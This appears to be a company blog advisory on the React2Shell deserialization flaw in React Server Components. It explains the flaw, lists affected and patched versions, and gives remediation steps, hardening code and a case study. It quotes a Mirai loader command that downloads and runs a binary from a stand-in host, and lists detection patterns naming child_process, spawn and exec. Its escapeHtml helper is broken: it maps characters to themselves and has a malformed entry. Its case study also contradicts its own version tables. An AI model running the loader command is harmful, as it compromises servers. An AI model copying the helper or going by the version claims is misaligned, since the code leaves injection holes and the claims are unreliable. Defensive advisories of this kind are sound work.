
Introduction: The Most Critical React Vulnerability in History
⚠️ URGENT: If you are running React 19 with Server Components or Next.js 15.x, your application may be vulnerable to remote code execution. Patch immediately.
On December 3, 2025, the React team disclosed CVE-2025-55182, a maximum-severity vulnerability that has sent shockwaves through the web development community. Dubbed "React2Shell" by security researchers, this vulnerability allows attackers to execute arbitrary code on servers running React Server Components with a single, carefully crafted HTTP request. With a CVSS score of 10.0—the maximum possible severity rating—this represents the most critical security issue in React's history.
The vulnerability is particularly dangerous because it affects the default configuration of modern React applications. Any website built with Next.js 15.x, or any framework implementing React Server Components, is potentially vulnerable out of the box. There's no special configuration required to be at risk—simply using Server Components is enough. Security researchers report that the exploitation success rate is nearly 100% against unpatched systems, and public exploits are now widely available.
This comprehensive guide will walk you through everything you need to know about React2Shell: how the vulnerability works, which versions are affected, how to check if your site is vulnerable, and most importantly, how to protect your applications. We'll also share a detailed case study of how we protected ButtonBlock's production systems and the additional hardening measures we implemented beyond the basic patch.
What Happened on December 3, 2025
The React team coordinated disclosure of CVE-2025-55182 after security researchers from Wiz discovered a critical flaw in how React Server Components process incoming requests. The vulnerability was found in the React "Flight" protocol—the wire format that React uses to stream server-rendered components to the client. When the server receives a specially crafted payload, it fails to properly validate the structure before deserializing it, allowing attackers to inject and execute arbitrary code.
Within hours of disclosure, security teams at major organizations began observing exploitation attempts. By December 5, multiple threat intelligence groups—including Wiz Research, Amazon Threat Intelligence, and Datadog—confirmed active exploitation in the wild. Attackers were observed deploying reverse shells, installing remote access tools like Cobalt Strike, and attempting to join compromised servers to botnets. The speed of exploitation caught many organizations off guard.
Why This Affects Millions of Websites
React is the most popular JavaScript library for building user interfaces, with over 20 million weekly npm downloads. Next.js, the leading React framework, powers millions of production websites ranging from small business sites to enterprise applications. With the release of React 19 and Next.js 15, Server Components became the default rendering model, meaning every new application created with these tools was potentially vulnerable from day one.
The scope is staggering. According to web technology surveys, Next.js alone powers approximately 1.5% of all websites globally—representing millions of potential targets. This includes e-commerce platforms, SaaS applications, financial services, healthcare portals, and countless small business websites. Unlike many vulnerabilities that require specific configurations or uncommon features, React2Shell affects the most basic, default setup of modern React applications.
Severity: CVSS 10.0 (Maximum)
The Common Vulnerability Scoring System (CVSS) provides a standardized way to measure vulnerability severity. A score of 10.0 represents the maximum possible severity and indicates that a vulnerability is:
- Remotely exploitable: Attackers can exploit it over the network without physical access
- Low complexity: The attack is straightforward and doesn't require special conditions
- No privileges required: Attackers don't need to be authenticated
- No user interaction: The attack works without any action from users
- Complete impact: Attackers gain full control over confidentiality, integrity, and availability
In practical terms, this means an attacker can send a single HTTP request to your server and gain complete control. They can read your database, steal environment variables (including API keys and secrets), modify your application, or use your server as a launching point for further attacks. The severity cannot be overstated.
Understanding CVE-2025-55182 (React2Shell)

To understand why React2Shell is so dangerous, we need to understand how React Server Components work and what the React Flight protocol does. This section provides the technical background necessary to comprehend the vulnerability and why it's so difficult to detect.
What is the React Flight Protocol?
The React Flight protocol is a wire format designed specifically for streaming React Server Components from the server to the client. When you use Server Components, the server doesn't just send HTML—it sends a structured representation of the React component tree that the client can progressively render and hydrate. This format allows for efficient streaming, selective hydration, and seamless integration between server and client components.
The Flight protocol handles the serialization and deserialization of React elements, including their props, children, and references to client components. It's designed to be efficient and flexible, supporting complex data structures and maintaining referential integrity across the wire. However, this flexibility comes with security implications when the deserialization process doesn't properly validate incoming data.
// Simplified example of Flight protocol data
// Server sends structured component representation
{
"type": "ServerComponent",
"props": {
"children": {
"type": "ClientComponent",
"moduleId": "./Button.js",
"props": { "label": "Click me" }
}
}
}How Server Components Work
React Server Components (RSC) represent a paradigm shift in how React applications render. Unlike traditional React where all components run in the browser, Server Components execute entirely on the server. This enables direct database access, file system operations, and other server-side functionality without exposing that code to the client.
The rendering flow works like this: When a user requests a page, the server executes the Server Components, which may fetch data, access databases, or perform other server-side operations. The rendered output is then serialized using the Flight protocol and streamed to the client. The client receives this stream and progressively renders the UI, hydrating Client Components as needed.
// Example Server Component (runs on server only)
// app/page.tsx
async function HomePage() {
// This code ONLY runs on the server
const data = await db.query('SELECT * FROM posts');
return (
<div>
<h1>Latest Posts</h1>
{data.map(post => (
<PostCard key={post.id} post={post} />
))}
</div>
);
}This architecture provides significant benefits: smaller client bundles, direct server access, improved performance, and better SEO. However, it also means the server is processing complex data structures from client requests, creating a larger attack surface than traditional client-only React applications.
The Deserialization Vulnerability
The root cause of React2Shell is an insecure deserialization vulnerability in the react-server package. When Server Components process incoming requests, they deserialize data sent from the client to reconstruct component state, handle Server Actions, and manage component updates. The vulnerability exists because this deserialization process doesn't properly validate the structure of incoming data.
Insecure deserialization is a well-known vulnerability class. When an application deserializes data without validation, attackers can craft payloads that execute arbitrary code during the deserialization process. This is similar to vulnerabilities that have affected other platforms like Java (CVE-2015-4852), PHP, Python (pickle), and Ruby. The fundamental problem is trusting serialized data from an untrusted source.
Technical Note: The vulnerability is classified as CWE-502 (Deserialization of Untrusted Data). The default trust model between React client and server components assumed that incoming Flight protocol data would be well-formed. Attackers exploited this assumption.
Attack Vector Explained
The attack is deceptively simple. An attacker sends a specially crafted multipart POST request to any endpoint that processes Server Components. The request contains a malformed payload that, when deserialized by the server, triggers code execution. No authentication is required, no special headers, no complex setup—just a single HTTP request.
What makes this particularly dangerous is that the vulnerable code path is triggered by normal application functionality. Any page that uses Server Components, any Server Action, any route that processes RSC payloads—all are potential entry points. Attackers don't need to find a specific vulnerable endpoint; the entire application surface is at risk.
The payload can be designed to perform virtually any server-side action: spawn reverse shells, read environment variables, access databases, modify files, install backdoors, or pivot to attack other systems on the network. Because the code executes with the same privileges as the web server process, attackers gain significant access immediately upon successful exploitation.
Technical Deep Dive: How the Attack Works

This section provides a technical breakdown of how the React2Shell exploit works. Understanding the mechanics helps security teams identify potential compromises and implement effective mitigations.
The Malformed POST Request
The exploit begins with a multipart POST request sent to any RSC-enabled endpoint. The request appears similar to legitimate Server Action requests but contains a specially crafted payload in the form data. Here's a simplified representation of what the malicious request looks like:
POST /page HTTP/1.1 Host: vulnerable-site.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="1_$ACTION_ID" [malicious serialized payload] ------WebKitFormBoundary--
The payload exploits the deserialization process to instantiate objects in a way that triggers code execution. The specific technique leverages JavaScript's prototype chain and the way React reconstructs component trees from serialized data. When the server attempts to deserialize this payload, it inadvertently executes attacker-controlled code.
Payload Structure and Execution
While we won't provide a complete working exploit (for obvious security reasons), it's important to understand the general structure. The payload typically contains:
- A crafted object structure that bypasses type checks
- References to built-in Node.js modules (like
child_process) - The actual command or code to execute
- Encoding that passes through the Flight protocol parser
When the server deserializes this payload, the execution flow triggers the instantiation of objects in an unexpected order, ultimately leading to the execution of the attacker's payload. The entire process happens automatically as part of normal request processing—no special timing or conditions are required.
Server-Side Execution Flow
The execution flow on a vulnerable server looks like this:
- Server receives POST request with multipart form data
- Request is routed to the RSC handler
- The
react-serverpackage begins deserializing the Flight payload - Malformed data triggers unintended code paths during deserialization
- Attacker payload executes with server process privileges
- Server may or may not return an error (depending on payload design)
From the attacker's perspective, the entire exploit can be automated. Security researchers have demonstrated that a simple Python script can scan for vulnerable servers and exploit them automatically. The attack requires no interaction with the actual application—just the ability to send HTTP requests.
Vulnerable vs. Patched Behavior
The patch addresses the vulnerability by adding proper validation during deserialization. The fix ensures that:
// VULNERABLE (pre-patch): Deserializes without validation
function deserializePayload(data) {
return JSON.parse(data, reviver); // Trusts incoming data
}
// PATCHED: Validates structure before deserialization
function deserializePayload(data) {
const parsed = JSON.parse(data);
validateFlightPayloadStructure(parsed); // New validation
return reconstruct(parsed, reviver);
}With the patch applied, malformed payloads are rejected before they can trigger the vulnerable code path. The server returns a 500 error with a message indicating invalid Flight data, rather than executing the malicious payload. This is why upgrading is the only complete fix—no amount of WAF rules or input filtering can fully replicate the validation that happens deep within the deserialization logic.
Which Versions Are Affected?

Understanding exactly which versions are vulnerable is critical for determining your exposure and planning your upgrade path. The vulnerability specifically affects React 19's Server Components implementation and frameworks that use it.
React Vulnerable Versions
The following React packages are vulnerable:
| Package | Vulnerable Versions | Status |
|---|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0-19.1.1, 19.2.0 | VULNERABLE |
| react-server-dom-parcel | 19.0.0, 19.1.0-19.1.1, 19.2.0 | VULNERABLE |
| react-server-dom-turbopack | 19.0.0, 19.1.0-19.1.1, 19.2.0 | VULNERABLE |
React Safe Versions
The following versions contain the security fix:
| Release Line | Patched Version | Status |
|---|---|---|
| 19.0.x | 19.0.1 | SAFE |
| 19.1.x | 19.1.2 | SAFE |
| 19.2.x | 19.2.1+ | SAFE |
Next.js Vulnerable Versions
Next.js inherited the vulnerability through its React dependency. The following versions are vulnerable:
| Release Line | Vulnerable Range |
|---|---|
| 15.0.x | 15.0.0 - 15.0.4 |
| 15.1.x | 15.1.0 - 15.1.8 |
| 15.2.x | 15.2.0 - 15.2.5 |
| 15.3.x | 15.3.0 - 15.3.5 |
| 15.4.x | 15.4.0 - 15.4.7 |
| 15.5.x | 15.5.0 - 15.5.6 |
| 16.0.x | 16.0.0 - 16.0.6 |
Next.js Safe Versions
| Release Line | Patched Version |
|---|---|
| 15.0.x | 15.0.5 |
| 15.1.x | 15.1.9 |
| 15.2.x | 15.2.6 |
| 15.3.x | 15.3.6 |
| 15.4.x | 15.4.8 |
| 15.5.x | 15.5.7+ |
| 16.0.x | 16.0.7+ |
Important: If you're using Next.js 14.3.0-canary.77 or later canary versions, you should downgrade to stable 14.x. These canary versions included early RSC implementations that are also vulnerable.
Framework Comparison
The vulnerability specifically affects frameworks using React's Server Components implementation:
- Next.js 15.x/16.x: VULNERABLE (unless patched) - Uses RSC by default
- Next.js 14.x stable: NOT VULNERABLE - Pages Router doesn't use RSC
- Next.js 14.x canary: POTENTIALLY VULNERABLE - Check for RSC usage
- Remix: NOT VULNERABLE - Uses different server rendering approach
- Gatsby: NOT VULNERABLE - Primarily static generation
- Create React App: NOT VULNERABLE - Client-only rendering
- Vite + React: NOT VULNERABLE - Client-only by default
- Custom RSC implementations: POTENTIALLY VULNERABLE - Check react-server version
Real-World Exploitation
Within days of the vulnerability disclosure, security researchers and threat intelligence teams observed widespread exploitation attempts. Understanding how attackers are using this vulnerability helps organizations assess their risk and implement appropriate defenses.
Observed Attacks in the Wild
According to reports from Wiz Research, Amazon Threat Intelligence, and Datadog Security Labs, attackers are actively scanning the internet for vulnerable React applications. The scanning activity spiked dramatically within 48 hours of disclosure, indicating that threat actors had quickly weaponized the public information.
The attacks follow a predictable pattern: automated scanners identify potentially vulnerable endpoints by sending probe requests, then deploy exploits against confirmed targets. Post-exploitation activities vary based on attacker objectives, ranging from cryptocurrency mining to data theft to establishing persistent access for later use.
Cobalt Strike Deployments
Multiple incident response teams have reported finding Cobalt Strike beacons on compromised servers. Cobalt Strike is a legitimate penetration testing tool that has been widely adopted by both red teams and malicious actors. Its presence indicates sophisticated attackers interested in maintaining persistent access rather than simple opportunistic exploitation.
These deployments typically involve spawning a reverse shell to a command-and-control server, downloading and executing the Cobalt Strike payload, and establishing encrypted communication channels for ongoing access. The attackers then use this access for lateral movement, data exfiltration, or deploying ransomware.
Cloud Platform Targeting
Palo Alto's Unit 42 observed targeted attacks against cloud-hosted applications across AWS, Azure, Google Cloud, and other platforms. Attackers specifically targeted containerized applications running in Kubernetes clusters, recognizing that these environments often host high-value targets.
The cloud targeting makes sense strategically: these environments often contain sensitive data, have access to cloud provider APIs (potentially including credentials in environment variables), and provide opportunities for lateral movement to other services. A single compromised container can be the entry point to a much larger breach.
Mirai Botnet Payloads
On the less sophisticated end, Unit 42 also observed attempts to deploy Mirai botnet loaders on vulnerable servers. Mirai is infamous for powering massive DDoS attacks by compromising IoT devices and servers. These attacks use simple command execution to download and run the Mirai payload:
# Typical Mirai loader command observed in exploitation attempts wget http://malicious-server/mirai.x86 -O /tmp/mirai; chmod +x /tmp/mirai; /tmp/mirai # or using busybox busybox wget http://malicious-server/mirai.arm -O /tmp/mirai && chmod +x /tmp/mirai && /tmp/mirai
While less concerning from a data breach perspective, Mirai infections can cause significant harm by using your server's resources for DDoS attacks, potentially leading to performance degradation, bandwidth costs, and reputational damage if your IP addresses are blocklisted.
Am I Vulnerable? How to Check

Before patching, you need to confirm whether your application is vulnerable. Here are several methods to assess your exposure, from simple command-line checks to automated scanning tools.
npm audit Command
The simplest way to check for vulnerability is using npm's built-in audit command:
# Run from your project root npm audit # Example output for vulnerable project: # npm audit report # # next 15.0.0 - 15.5.6 # Severity: high # Next.js Affected by Multiple Vulnerabilities - https://github.com/advisories/GHSA-xxxx # fix available via `npm audit fix --force` # # react 19.0.0 - 19.2.0 # Severity: critical # React Server Components RCE - CVE-2025-55182 # fix available via `npm audit fix`
If npm audit reports CVE-2025-55182 or mentions React Server Components RCE, your application is vulnerable and requires immediate patching.
Manual Version Checking
You can manually check your installed versions:
# Check React and Next.js versions npm ls react react-dom next # Example output: # my-app@1.0.0 /path/to/my-app # ├── next@15.2.5 # VULNERABLE # ├── react@19.2.0 # VULNERABLE # └── react-dom@19.2.0 # VULNERABLE # Or check package.json directly cat package.json | grep -E '"(react|next)"'
Compare your versions against the vulnerable and safe version tables above. Remember that you need to check both React AND Next.js versions—both must be patched.
Using react2shell-scanner Tool
Security researchers at Assetnote released an open-source scanner specifically for this vulnerability:
# Install and run the scanner
npx react2shell-scanner https://your-website.com
# The scanner sends a crafted request that triggers a specific
# error condition in vulnerable versions.
#
# Vulnerable hosts return: 500 status with E{"digest" in response
# Patched hosts return: Different error or normal responseThis scanner is safe to run against your own applications—it doesn't actually exploit the vulnerability, just checks for its presence. The tool is available at github.com/assetnote/react2shell-scanner.
Identifying Vulnerable Endpoints
If you're running a vulnerable version, every endpoint that uses Server Components is potentially exploitable. In a Next.js 15+ application with App Router, this includes:
- All pages in the
/appdirectory (they use RSC by default) - Any Server Actions (functions with
"use server") - API routes that interact with RSC
- Middleware that processes RSC payloads
The only pages that are NOT vulnerable are Client Components (marked with "use client") that don't have any server-side rendering. However, since most applications mix Server and Client Components, assume all routes are potentially vulnerable unless proven otherwise.
Step-by-Step Remediation Guide

This section provides a complete guide to patching your application. Follow these steps carefully to ensure complete remediation.
Upgrading React Packages
First, upgrade your React packages to the patched versions:
# Option 1: Update to latest patched versions npm install react@latest react-dom@latest # Option 2: Update to specific safe versions npm install react@19.2.3 react-dom@19.2.3 # Option 3: If you need to stay on a specific minor version npm install react@19.1.2 react-dom@19.1.2 # For 19.1.x line npm install react@19.0.1 react-dom@19.0.1 # For 19.0.x line
Upgrading Next.js
Next, upgrade Next.js to a patched version:
# Option 1: Update to latest patched version in your release line npm install next@15.5.9 # For 15.5.x users npm install next@15.2.6 # For 15.2.x users # Option 2: Update to latest stable npm install next@latest # Complete upgrade command (React + Next.js) npm install react@19.2.3 react-dom@19.2.3 next@15.5.9
ButtonBlock Recommendation: We recommend upgrading to the latest stable versions rather than minimum patched versions. This ensures you get all subsequent security fixes and improvements.
Verifying the Fix
After upgrading, verify that the vulnerability is resolved:
# Step 1: Clear node_modules and reinstall rm -rf node_modules package-lock.json npm install # Step 2: Verify installed versions npm ls react react-dom next # Should show: react@19.2.3, react-dom@19.2.3, next@15.5.9 (or higher) # Step 3: Run security audit npm audit # Should show: found 0 vulnerabilities (or no critical/high) # Step 4: Test the build npm run build # Step 5: (Optional) Run the scanner against your deployed app npx react2shell-scanner https://your-site.com # Should NOT return the vulnerable signature
Testing for Regressions
The security patch is designed to be non-breaking, but you should still test your application:
- Run your existing test suite (unit tests, integration tests)
- Test critical user flows manually
- Verify Server Actions work correctly
- Check that forms submit properly
- Test data fetching in Server Components
- Verify SSR output is correct
If you encounter any issues, check the Next.js release notes for your target version. Most problems are related to other breaking changes in the release line, not the security patch itself.
Defense in Depth: Additional Hardening

While upgrading is the essential fix, security best practices recommend implementing multiple layers of defense. These additional measures can protect against future vulnerabilities and provide detection capabilities.
Input Sanitization
Implementing input sanitization at API boundaries helps prevent various injection attacks:
// lib/utils/sanitize.ts
/**
* Strips HTML tags and limits string length
*/
export function sanitizeString(input: string | null, maxLength = 100): string {
if (!input) return '';
return input
.replace(/<[^>]*>/g, '') // Strip HTML tags
.replace(/[<>]/g, '') // Remove remaining angle brackets
.trim()
.slice(0, maxLength);
}
/**
* Validates email format
*/
export function validateEmail(email: string | null): boolean {
if (!email) return false;
const EMAIL_REGEX = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;
return EMAIL_REGEX.test(email) && email.length <= 254;
}
/**
* Escapes HTML for safe embedding
*/
export function escapeHtml(input: string | null): string {
if (!input) return '';
const htmlEscapes: Record<string, string> = {
'&': '&', '<': '<', '>': '>',
'"': '"', "'": ''', '/': '/'
};
return input.replace(/[&<>"'/]/g, char => htmlEscapes[char] || char);
}Header Injection Prevention
When generating HTTP headers with user data (like filenames in Content-Disposition), sanitize to prevent header injection:
// Sanitize filenames for Content-Disposition header
export function sanitizeFilename(input: string | null, maxLength = 50): string {
if (!input) return 'document';
return input
.replace(/[<>:"/\\|?*\x00-\x1f\r\n]/g, '') // Remove illegal chars
.replace(/[;\s]+/g, '-') // Replace semicolons/whitespace
.replace(/["'`]/g, '') // Remove quotes
.replace(/-+/g, '-') // Collapse dashes
.replace(/^-|-$/g, '') // Trim dashes
.trim()
.slice(0, maxLength) || 'document';
}
// Usage in API route:
const filename = sanitizeFilename(userProvidedName);
return new Response(buffer, {
headers: {
'Content-Disposition': `attachment; filename="${filename}.pdf"`
}
});HTML Escaping in Templates
When embedding user data in HTML (especially in emails), always escape:
// Before: VULNERABLE to HTML injection
const html = `<h1>Hello ${userName}</h1>`;
// After: SAFE with escaping
import { escapeHtml } from '@/lib/utils/sanitize';
const html = `<h1>Hello ${escapeHtml(userName)}</h1>`;Rate Limiting Considerations
Rate limiting can help slow down automated attacks and exploitation attempts:
// Example using Vercel's @vercel/functions
import { Ratelimit } from '@upstash/ratelimit';
import { Redis } from '@upstash/redis';
const ratelimit = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(10, '10 s'), // 10 requests per 10 seconds
analytics: true,
});
export async function POST(request: Request) {
const ip = request.headers.get('x-forwarded-for') ?? '127.0.0.1';
const { success } = await ratelimit.limit(ip);
if (!success) {
return new Response('Too Many Requests', { status: 429 });
}
// Process request...
}WAF Protections and Cloud Provider Response
Major cloud providers and CDNs responded quickly to the disclosure by deploying WAF rules to provide an additional layer of protection. While these rules are not a substitute for patching, they provide valuable defense-in-depth.
Cloudflare Rules
Cloudflare deployed rules detecting unsafe deserialization patterns in POST requests. If you use Cloudflare, these rules are enabled by default in managed rulesets. You can verify they're active in your Cloudflare dashboard under Security > WAF > Managed Rules.
Google Cloud Armor
Google Cloud added a cve-canary rule to Cloud Armor that specifically targets React2Shell exploitation patterns. Enable it in your security policy if you're running on Google Cloud Platform.
Vercel Platform Protections
Vercel deployed platform-level protections for all applications hosted on their infrastructure. These protections are automatic and require no configuration. However, you should still upgrade your Next.js version—the platform protection is a temporary mitigation, not a permanent fix.
AWS WAF Rules
AWS released updated managed rule groups that include detection for React2Shell. If you're using AWS WAF, ensure you're using the latest version of the AWSManagedRulesKnownBadInputsRuleSet.
Important: WAF rules can be bypassed. They provide defense-in-depth but are not a complete solution. Always patch the underlying vulnerability.
Detection and Monitoring
Log Analysis Patterns
Look for these patterns in your server logs that may indicate exploitation attempts:
- Unusual POST requests to pages that shouldn't accept POST
- Multipart form data with unexpected content types
- 500 errors with "digest" in the response body
- Requests containing encoded JavaScript or shell commands
- Sudden spikes in error rates
Intrusion Detection Signatures
If you're running an IDS/IPS, look for signatures that detect:
- Malformed Flight protocol payloads
- Base64-encoded command strings in POST bodies
- References to
child_process,spawn, orexec - Outbound connections to known C2 servers
Real User Monitoring (RUM)
RUM tools can help identify exploitation attempts by detecting unusual server-side errors or response patterns. Tools like Datadog, New Relic, and Sentry can alert on sudden increases in 500 errors or unusual request patterns.
Security Audit Tools
Regular security audits should include:
npm auditin CI/CD pipelines- Dependabot or Renovate for automated dependency updates
- SAST tools like Snyk or SonarQube
- Regular penetration testing
Case Study: How We Protected ButtonBlock

When CVE-2025-55182 was disclosed, we immediately audited our production systems and implemented comprehensive protections. Here's exactly what we found and what we did.
Our Initial Audit Findings
Our initial npm audit revealed multiple vulnerabilities:
# Initial audit results (BEFORE patching) $ npm audit # npm audit report # # next 15.0.0 - 15.4.6 # Severity: high # - Cache Key Confusion # - Content Injection # - SSRF via Middleware # - Source Code Exposure # - Denial of Service # # react 19.2.0 # Severity: CRITICAL # React2Shell RCE - CVE-2025-55182 # # 3 vulnerabilities (2 moderate, 1 high)
We were running React 19.2.0 and Next.js 15.2.6—both vulnerable. Our proposal system, which handles client data, was at risk.
Packages Upgraded
| Package | Before | After |
|---|---|---|
| react | 19.2.0 | 19.2.3 |
| react-dom | 19.2.0 | 19.2.3 |
| next | 15.2.6 | 15.5.9 |
Input Validation Added
Beyond the core patches, we added defense-in-depth measures:
- Created
lib/utils/sanitize.tswith sanitization utilities - Added input validation to our proposal API endpoints
- Fixed a header injection vulnerability in PDF filename generation
- Escaped HTML in email templates
- Implemented lazy initialization for third-party clients to fix build errors
Before/After npm audit Results
# AFTER patching $ npm audit found 0 vulnerabilities $ npm run build # ✓ Compiled successfully # ✓ Generating static pages (90/90) # Route (app) Size First Load JS # ┌ ○ / 11.5 kB 124 kB # ... # ○ (Static) prerendered as static content
The entire remediation process, from audit to deployed fix, took approximately 30 minutes. We deployed to production immediately after verifying the build succeeded.
Frequently Asked Questions
Conclusion and Next Steps
CVE-2025-55182 (React2Shell) represents a watershed moment for React security. The vulnerability's severity, ease of exploitation, and widespread impact make it one of the most critical web security issues of 2025. However, the fix is straightforward: upgrade your packages and implement defense-in-depth measures.
Summary of Actions
Action Checklist:
- Run
npm auditto check vulnerability status - Upgrade React to 19.2.1+ and Next.js to your release line's patched version
- Verify the fix with
npm auditandnpm run build - Deploy to production immediately
- Consider implementing additional hardening (input validation, rate limiting)
- Review logs for signs of exploitation
- Rotate credentials if compromise is suspected
Ongoing Security Practices
To protect against future vulnerabilities:
- Enable automated dependency updates (Dependabot, Renovate)
- Run
npm auditin CI/CD pipelines - Subscribe to security advisories for your dependencies
- Implement comprehensive logging and monitoring
- Conduct regular security assessments
- Have an incident response plan ready
Resources and References
- Wiz Blog - React2Shell Analysis
- Microsoft Security Blog - Defending Against React2Shell
- JFrog - Complete Technical Analysis
- Datadog Security Labs - RCE Analysis
- Assetnote - React2Shell Scanner Tool
- React GitHub - Security Patch PR
Need Help Securing Your Application?
ButtonBlock's security team can help you audit your Next.js application, implement patches, and add comprehensive security hardening. Don't leave your production systems at risk.
Contact Our Security Team